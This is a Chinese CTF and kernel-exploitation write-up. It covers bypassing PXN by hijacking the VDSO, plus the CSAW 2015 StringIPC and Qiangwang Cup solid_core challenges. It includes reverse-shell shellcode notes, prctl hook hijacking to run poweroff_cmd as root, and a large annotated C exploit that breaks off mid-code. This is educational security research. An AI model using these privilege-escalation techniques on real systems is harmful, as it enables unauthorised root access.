一、通过VDSO绕过PXN
1.简介
最近一年,一种利用VDSO( Virtual Dynamic Shared Object,虚拟动态共享对象)机制的攻击方式,在脏牛等漏洞利用代码中得到应用。用这种方式提权更加稳定,绕过PXN让内核执行shellcode,而ROP方式总是要在不同设备版本中做适配。
PXN( PrivilegedExecute-Never)/SMEP主要是防御ret2usr攻击,它的开启与否主要由页表属性的PXN位来控制。64位内核中,内核对用户空间的内存页默认开启PXN位。
2.传统的PXN绕过技术
(1)利用ROP技术绕过PXN
利用ROP修改内核关键数据,达到提权目的。这种攻击方式是需要进行不同机型中查找到多段代码片段,如果需要root的机型较多,则需要攻击者投入较多精力去做适配,另外由于ROP往往要做栈迁移,使得漏洞利用的稳定性不是很好。
(2)利用ret2dir技术绕过PXN
该技术由哥伦比亚大学在2014年提出,其利用原理是,linux内核在设计的时候,为了提高内存的操作效率,在用户空间映射内存的时候,内核也相应地在内核的低端内存区地址映射一段影子内存。
同样,攻击者也可以将用户空间的攻击代码映射到内核的低端内存可执行区或者将特定数据进行喷射到内核的低端内存,进行内存布局,然后利用发现的漏洞,让内核执行攻击代码,从而达到提权的作用。这项技术在32位arm设备上有60%以上的成功率,而在64位arm中有96%的成功率。
通过RET2DIR和JOP方式的结合,可以使得UAF这类漏洞的利用代码比较稳定,而且成功率较高。keen_team在cve-2015-3636的漏洞利用中使用这两个技术。不过在2016年七月google在android PIXEL(内核3.18-16.04)版本以后封杀了RET2DIR的攻击方式。
(3)通过修改寄存器绕过pxn
通过修改CP15/CR4寄存器信息来绕过PXN/SMEP。这种方式往往需要ROP一段内核的代码来修改CP15寄存器的值,其复杂度和ROP其实是一样的。
(4)通过内核特定函数完成PXN绕过。
该技术在2016年MOSEC大会上由360团队公开,该技术巧妙地利用kernel_setsockopt函数的特性,通过控制r0, 让内核执行set_fs(KERNEL_DS),实现任意地址读写权限的效果。这种方式在x64内核时需要进行ROP栈迁移, 复杂度较高。
3.新的攻击方法
内核和用户空间共享的代码空间-VDSO( Virtual Dynamic Shared Object,虚拟动态共享对象)。VDSO是内核为了减少内核与用户空间频繁切换,提高系统调用效率而提出的机制。特别是gettimeofday这种对时间精度要求特别高的系统调用,需要尽可能地减少用户空间到内核空间堆栈切换的开销。
1VDSO映射.png
可通过cat /proc/self/maps命令来查看用户态vdso映射情况。
2VDSO地址查看.png
由于该段用户空间和内核空间是一一映射的, 如果我们能在这段空间中布置我们的提权代码,我们可以让内核来执行该段代码,从而提权。
不过事情没有想象那么容易,该段空间是只读和可执行的。
可以通过内核导出函数set_memory_rw来打开内核页表的读写权限。set_memory_rw函数的定义如下:
int set_memory_rw(unsigned long virt, int numpages)
//virt 为起始虚拟地址,可以设置为_text的虚拟地址;numpages 为页表的数量。
假设我们可以修改vdso映射区的读写权限,那我们的攻击路径可以是这样:
(1)利用内核漏洞的执行set_memory_rw函数,修改vdso映射区的读写权限。
(2)在VDSO布置shellcode。
(3)调用shellcode提权。
那问题来了,用户态的vdso的虚拟地址是多少呢。
第一种,在高版本的glibc中,我们可以通过以下代码获得vdso的地址。
#include
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
if (!sysinfo_ehdr) {
printf("AT_SYSINFO_EHDR is not present!\n");
return 0;
}
第二,如果权限够高,也可以通过读取/proc/selft/maps虚拟文件内容的方式获得用户态的vdso映射地址。
第三,通过爆破获得VDSO地址,VDSO是按页对齐的,且映射到空间的是个ELF文件。
//方法1
void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
readMem(&header,loc,8);
if (header==0x010102464c457f) {
fprintf(stderr,"%p elf\n",loc);
readMem(&header,loc+0x270,8);
//Look for 'clock_ge' signature (may not be at this offset, but happened to be)
if (header==0x65675f6b636f6c63) {
fprintf(stderr,"%p found it?\n",loc);
break;
}
}
}
//方法2
//读取偏移0x2cd处,strcmp比较字符串是否为`gettimeofday`。(dump VDSO段,然后用strings命令找`gettimeofday`字符串偏移)
我们的攻击路径可以进一步再完善为:
(1)获取vdso的映射地址
(2)利用内核漏洞的执行set_memory_rw函数,修改vdso映射区的读写权限。
(3)在VDSO布置shellcode。
(4)用shellcode提权。
4.布置shellcode
gdb调试内核时,用别人的exp爆出VDSO地址,然后gdb中dump memory ./vdso.dump 0xffffffffa0620000 0xffffffffa0622000得到vdso内存完整的文件。
$ file vdso.dump
vdso.dump: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2bf03516cb41b1967b529e3ff86a6b938668dee5, stripped
内核映射到用户空间的vdso其实为一个完整的ELF文件。该文件一般为,这里面包括了代码段和数据段。
3VDSO结构.png
在ARM64内核的vdso区导出了四个函数,它们分别是__kernel_clock_getres、__kernel_rt_sigreturn、__kernel_gettimeofday、__kernel_clock_gettime。
3VDSO结构2.png
我们可以在代码段末段放置我们的shellcode,然后以in-hook的方式hook gettimeofday函数,当用户调用gettimeofday函数时将会执行我们放置在vdso中的shellcode,在安卓版脏牛的vdso poc代码中就用到了这种方式。
当然我们也可以直接通过计算elf文件的长度,然后在文件长度的末端放置我们的shellcode,然后让内核去执行该段地址的代码即可。
5.完善攻击路径
如果内核漏洞不是任意代码执行,是任意地址写任意值这类漏洞,如何实现任意代码执行?
常见的方法是通过调用改写 ptmx_fops->unlocked_ioctl 或者是 覆盖ptmx_fops指针,使其指向我们要调用内核地址,然后调用 /dev/ptmx的ioctl或者是check_flags来完成内核代码的调用。
由于这种方式需要进行较复杂的反汇编及偏移计算才能确定unlocked_ioctl的地址,另外check_flags函数只能传递一个参数,而且该函数只能传递一个32位的数据,显然这种方式需要我们进一步的改进。
那什么样的函数指针是比较好用的呢,我们要求这样的函数指针最好满足以下条件:
(1)可以传送多个参数。
(2)该函数指针可以在符号表里方便找到。
(3)这个函数调用函数指针前,各个参数都是透传,没有经过中间加工。
(4)函数返回值也没有经过内部加工。
在2016年11月韩国INetCop 安全团队的 dong-hoon you (x82)介绍了一个十分好用的系统调用函数 prtcl。
这个函数可以最多传输1~5个参数。 它的调用路径是这样的:
prctl -> security_task_prctl -> (hp->hook.task_prctl)
可进行虚表劫持,如果我们修改(hp->hook.task_prctl)为我们调用的set_memory_rw函数地址。那么我们通过用户态调用prtcl函数,使得内核就可以执行set_memory_rw函数,打开VDSO映射区的读写权限。
(1)获取vdso的映射地址。
(2)利用内核漏洞任意地址写的能力将(security_operations)->task_prctl函数指针修改为set_memory_rw函数的地址。
(3)调用prtcl的系统调用,让内核执行set_memory_rw函数,修改vdso映射区的读写权限。
(4)在VDSO中布置shellcode(shellcode只为root进程创建反弹shell,可以通过调用 0x66—sys_getuid系统调用并将其与0进行比较;如果没有root权限,我们继续调用0x60—sys_gettimeofday系统调用)。
(5)调用gettimeofday函数或通过prtcl的系统调用,让内核调用shellcode提权。
二、CSAW-2015-CTF中stringipc分析
1.漏洞分析
StringIPC模块实现了最基本的进程间通信的功能,允许对位于/dev/csaw的设备在不同通道下进行读写数据的操作。有8个控制码(codes)可以用来对通道进行创建,修改和读写数据。
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
CSAW_ALLOC_CHANNEL允许用户创建一个新通道和根据给定的大小创建一个新缓冲区,CSAW_GROW_CHANNEL和CSAW_SHRINK_CHANNEL使用了krealloc来改变通道的缓冲区大小。CSAW_READ_CHANNEL和CSAW_WRITE_CHANNEL用来读取和写入由CSAW_SEEK_CHANNEL所指向的当前通道的内存数据。最后CSAW_OPEN_CHANNEL和CSAW_CLOSE_CHANNEL用来确定当前与ioctl进行交互的通道。
krealloc内核源码如下:
// /include/linux/slab.h
#define ZERO_SIZE_PTR ((void *)16)
// /mm/slab_common.c
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;
if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}
ret = __do_krealloc(p, new_size, flags);
if (ret && kasan_reset_tag(p) != kasan_reset_tag(ret))
kfree(p);
return ret;
}
//krealloc传入0时返回0x10
stringipc的漏洞存在于使用了krealloc的realloc_ipc_channel:
4stringipc漏洞.png
通过修改size=-1,使得kremalloc的返回值变成0x10,同时size因为是0xFFFFFFFFFFFFFFFF所以可以进行任意地址读写。
2.任意地址读写到权限提升(传统方法)
由于本题是任意地址读写,不是栈溢出,不能构造ROP。
(1) 爆破cred结构位置并篡改
如果我们能够修改cred结构的值那么就可以进行提权操作。这是一个很正常的思路,但是我们的cred结构地址在哪里呢?这里CSAW给出的思路是通过prctl设置comm结构为一个Random的字符串是,然后通过爆破这个Random的字符串,每八个字节进行遍历,耗时比较久,但是是可行的。
利用代码可见 ,https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c.
(2)RET2DIR攻击(劫持VDSO)
步骤:
获取vdso的映射地址(爆破)。
通过劫持task_prctl,将其修改成为set_memory_rw
然后传入VDSO的地址,将VDSO修改成为可写的属性。
用shellcode覆盖部分vDSO(shellcode只为root进程创建反弹shell,可以通过调用 0x66—sys_getuid系统调用并将其与0进行比较;如果没有root权限,我们继续调用0x60—sys_gettimeofday系统调用。同样在root进程当中,我们不想造成更多的问题,我们将通过0x39系统调用 fork一个子进程,父进程继续执行sys_gettimeofday,而由子进程来执行反弹shell。)
调用gettimeofday函数或通过prtcl的系统调用,让内核调用shellcode提权。
所用shellcode可见https://gist.github.com/itsZN/1ab36391d1849f15b785(它将连接到127.0.0.1:3333并执行”/bin/sh”),用"nc -l -p 3333 -v"链接即可;shellcode写到gettimeofday附近,通过dump vDSO确定,本题是0xca0;利用代码可见https://gist.github.com/itsZN/1ab36391d1849f15b785。
问题:VDSO位置在哪里呢?这个可以爆破,因为我们有了任意地址读的权限,不过和上面爆破cred结构的技术不一样,我们可以更快的爆破,因为VDSO必定是被安防到一个内存页里面,也就是页对齐的,同时它是一个ELF文件,是有ELF Signurte,所以我们可以按照内存页的偏移来进行爆破,这样爆破速度会很快,大概是256倍,而且它的映射位置离内核基址并不是太远,可以很快就出来了。
为什么不用cat /proc/self/maps ???
三、强网杯solid_core分析
1.漏洞分析
修改了stringipc的写地址范围,限制写入范围必须大于0xffffffff80000000,该地址在kernel base以上,所以不能使用cred覆盖,同时编译最新内核以限制VDSO在内核情况下不能被修改,所以不能用ret2dir攻击利用方法。
5solid_core分析.png
2.HijackPrctl方法——局部地址读写到任意代码执行
(1)prctl函数
prctl有5个参数,prctl将参数原封不动传给了security_task_prctl函数去处理。
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;
error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
security_task_prctl最后定位到一个虚表,调用hp->hook.task_prctl。
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;
hlist_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
struct security_hook_list {
struct hlist_node list;
struct hlist_head *head;
union security_list_options hook;
char *lsm;
} __randomize_layout;
union security_list_options {
...
...
int (*task_prctl)(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);
...
}
在调试时候我们会找到这个hook的位置在哪里,在这里是capability_hooks+520+0x18这个偏移,这个偏移在IDA中也能分析出来。也即capability_hooks+544偏移处
6_1prctl.png
6_2prctl.png
这样,我们就找到一个可通过用户态传最多5个参数并且到内核态原封不动执行的虚函数,可修改该指针,任意执行1个函数。
(2)问题—64位下利用困难
prctl第一个参数是int,在64位下传参会被截断,但不影响32位执行。32位下的利用方法即为通过VDSO绕过PXN。
先通过劫持task_prctl,将其修改成为set_memory_rw
然后传入VDSO的地址,将VDSO修改成为可写的属性,
然后之后的步骤就和劫持VDSO方法是一样的了。
本方法在64位下失效,64位下如何利用呢?
(3)call_usermoderhelper内核线程执行
call_usermoderhelper是内核运行用户程序的一个api,并且该程序有root的权限。如果我们能够控制性的调用它,就能以Root权限执行我们想要执行的程序了。
定义在kernel/umh.c中
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);
// subprocess_info
//5.X版本
struct subprocess_info *call_usermodehelper_setup_file(
struct file *file,
int (*init)(struct subprocess_info *info,
struct cred *new),
void (*cleanup)(struct subprocess_info *),
void *data);
//4.20版本 //本题环境是Linux (none) 4.15.8
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
我们要劫持task_prctl到call_usermoderhelper吗,不是的,因为这里的第一个参数也是64位的,也不能直接劫持过来。但是内核中有些代码片段是调用了Call_usermoderhelper的,可以转化为我们所用(通过它们来执行用户代码或访问用户数据,绕过SMEP)。
也就是有些函数从内核调用了用户空间,例如kernel/reboot.c中的__orderly_poweroff函数中调用了run_cmd参数是poweroff_cmd,而且poweroff_cmd是一个全局变量,可以修改后指向我们的命令。
static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd);
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
emergency_sync();
kernel_power_off();
}
return ret;
}
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
方法:先篡改poweroff_cmd=我们预期执行的命令,然后直接劫持task_prctl到orderly_poweroff函数,这样就任意命令执行了,同时按照INetCop Security给出的思路,需要先关闭selinux(SELinux 主要作用就是最大限度地减小系统中服务进程可访问的资源(最小权限原则))。
所以再整理一下整体思路:
利用kremalloc的问题,达到任意地址读写的能力
通过快速爆破,泄露出VDSO地址。
利用VDSO和kernel_base相差不远的特性,泄露出内核基址。(泄露VDSO是为了泄露内核基址?)
篡改prctl的hook为selinux_disable函数的地址
调用prctl使得selinux失效(INetCop Security给出的思路中要求的一步)
篡改poweroff_cmd使其等于我们预期执行的命令("/bin/chmod 777 /flag\0")。
篡改prctl的hook为orderly_poweroff
调用prctl执行我们预期的命令,达到内核提权的效果。
经过调试,发现第4、5步对本题根本不需要,不需要关闭selinux。
7succeed.png
附上带批注的exp:
#include
#include
#include
#include
#include
#include
#include
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct open_channel_args {
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
struct close_channel_args {
int id;
};
//放置shellcode
int check_vsdo_shellcode(char *shellcode){
size_t addr=0;
addr = getauxval(AT_SYSINFO_EHDR);
printf("vdso:%lx\n", addr);
if(addr<0){
puts("[-]cannot get vdso addr");
return 0;
}
if (memmem((char *)addr,0x1000,shellcode,strlen(shellcode) )){
return 1;
}
return 0;
}
int main(){
int fd = -1;
size_t result = 0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct write_channel_args write_args;
size_t addr = 0xffffffff80000000;
size_t kernel_base = 0 ;
size_t selinux_disable_addr= 0x2C7BA0; //后面讲到如何获取这些函数和全局变量的固定偏移地址
size_t prctl_hook = 0x124FD00;
size_t order_cmd = 0x123D1E0;
size_t poweroff_work_func_addr =0x9C4C0;
setvbuf(stdout, 0LL, 2, 0LL);
char *buf = malloc(0x1000);
fd = open("/proc/simp1e",O_RDWR);
if(fd < 0){
puts("[-] open error");
exit(-1);
}
//1.先创建一个channel,名为alloc_args
alloc_args.buf_size = 0x100;
alloc_args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
if (alloc_args.id == -1){
puts("[-] alloc_channel error");
exit(-1);
}
printf("[+] now we get a channel %d\n",alloc_args.id);
//2.修改alloc_args的size为0xffffffff ffffffff 造任意地址读写
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100+1;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
puts("[+] we can read and write any momery");
//3.爆破读取VSDO地址,只要该页在偏移0x2cd处的字符串是"gettimeofday",则找到了VDSO
// $ dump memory ./vdso.dump 0xffff... 0xffff...
// $ strings -a -t x ./vdso.dump | grep gettimeofday
// 2c6 __vdso_gettimeofday
for(;addr<0xffffffffffffefff;addr+=0x1000){
//SEEK设置从哪个偏移读起
seek_args.id = alloc_args.id;
seek_args.index = addr-0x10 ;
seek_args.whence= SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
//读取该页(0x1000)的内容
read_args.id = alloc_args.id;
read_args.buf = buf;
read_args.count = 0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_args);
if(( !strcmp("gettimeofday",buf+0x2cd)) ){ // ((*(size_t *)(buf) == 0x00010102464c457f)) &&
result = addr;
printf("[+] found vdso %lx\n",result);
break;
}
}
//scanf("%d",&cred);
//printf("");
if(result == 0){
puts("not found , try again ");
exit(-1);
}
//4.根据VDSO地址获取kernel base基址,以及其他函数地址
kernel_base = addr-0x1020000;
selinux_disable_addr+= kernel_base;
prctl_hook += kernel_base;
order_cmd += kernel_base;
poweroff_work_func_addr += kernel_base;
//size_t argv_0 = kernel_base + 0x117ed20;
//size_t mce_do_trigger_addr = kernel_base + 0x0422ba;
//size_t env = kernel_base + 0xe4df20;
printf("[+] found kernel base: %lx\n",kernel_base);
printf("[+] found prctl_hook: %lx\n",prctl_hook);
printf("[+] found order_cmd : %lx\n",order_cmd);
printf("[+] found selinux_disable_addr : %lx\n",selinux_disable_addr);
printf("[+] found poweroff_work_func_addr: %lx\n",poweroff_work_func_addr);
getchar();
//5.把待执行的命令写入order_cmd
memset(buf,'\0',0x1000);
/
参考